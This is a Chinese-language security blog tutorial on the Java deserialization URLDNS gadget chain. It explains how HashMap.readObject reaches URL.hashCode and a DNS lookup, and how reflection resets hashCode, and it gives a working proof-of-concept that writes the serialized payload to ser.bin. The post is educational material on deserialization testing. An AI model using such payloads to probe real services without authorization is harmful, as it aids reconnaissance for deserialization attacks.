java反序列化——URLDNS链

原理:

根据反序列化的一般要求,首先URL类肯定是需要能实现反序列化的接口的。

图片.png

而在URL类里的hashcode方法里,会先进行一个判断,如果不是-1,那么就进入URLStreamHandler类里的hashCode方法:

图片.png

图片.png

而在这个方法里,会执行getHostAddress方法,这是根据域名解析IP地址的函数。

图片.png

结合DNS的相关知识,也就是说只要走到这个函数,就一定会发出DNS请求。

同样的,hashMap类也实现了序列化接口,图片.png

在hashMap类也重写了readObject,里面也调用了hashCode方法,也就会发出DNS请求。

图片.png

所以链子是这样的:

new hashMap—>hashmap.put(new URL(“这里放url”),1)—>serialize—>unserialize发出DNS请求

问题:

但是这样写有个问题,运行代码后发现只有在序列化的时候收到了一次DNS请求,而在反序列化的时候反而收不到DNS请求,这是因为hashMap.put方法里同样也调用了hash方法:

image-20240328112125969.png

image-20240328112136169.png

如果不修改hashCode的值,那么我们传入的url就会触发DNS请求,并被hash编码,此后并不能触发反序列化。

思考:

结合前面hashCode的-1判断,不难想到:如果能修改hashCode的值,那么就可以绕过put时hash的触发,而在put之后再把hashCode改回来,就完成整条链子了。

解决:

我们可以通过反射,修改对象属性的值。

最后的链子就是:

new hashMap—>X—>hashmap.put(new URL(“填url”),1)—>Y—>serialize—>unserialize发出DNS请求

X 为url.getClass()获取url类—>getDeclaredField(“hashCode”)获取属性hashCode—>set(url,1234)修改hashCode的值不为-1

Y 为set(url,-1)改回hashCode的值

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class URLDNS {
public static void serialize(Object obj) throws IOException{ //用writeObject写序列化文件。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}


public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<URL, Integer>(); //新建hashmap对象
//这里不要发起请求,把url对象的hashCode改成不是-1
URL url = new URL("https://www.baidu.com"); //新建URL的对象
Class c = url.getClass(); //获取URL对象的类
Field hashcodefield = c.getDeclaredField("hashCode"); //获取URL对象的类中的hashCode属性
hashcodefield.setAccessible(true); //因为hashCode是private的变量,所以需要设置
hashcodefield.set(url,1234); //设置hashCode值1234
hashmap.put(url,1);
//通过反射 改变已有对象属性
hashcodefield.set(url,-1); //这里把hashCode值改回-1
serialize(hashmap);
}

}

关于hashcodefield.set(url,1234);

image-20240328111827604.png

set方法的第一个参数是属性所对应的对象,这里属性是hashcodefield,对象是url,值是1234


java反序列化——URLDNS链
http://example.com/2024/03/29/java反序列化——URLDNS链/
作者
Infernity
发布于
2024年3月29日
许可协议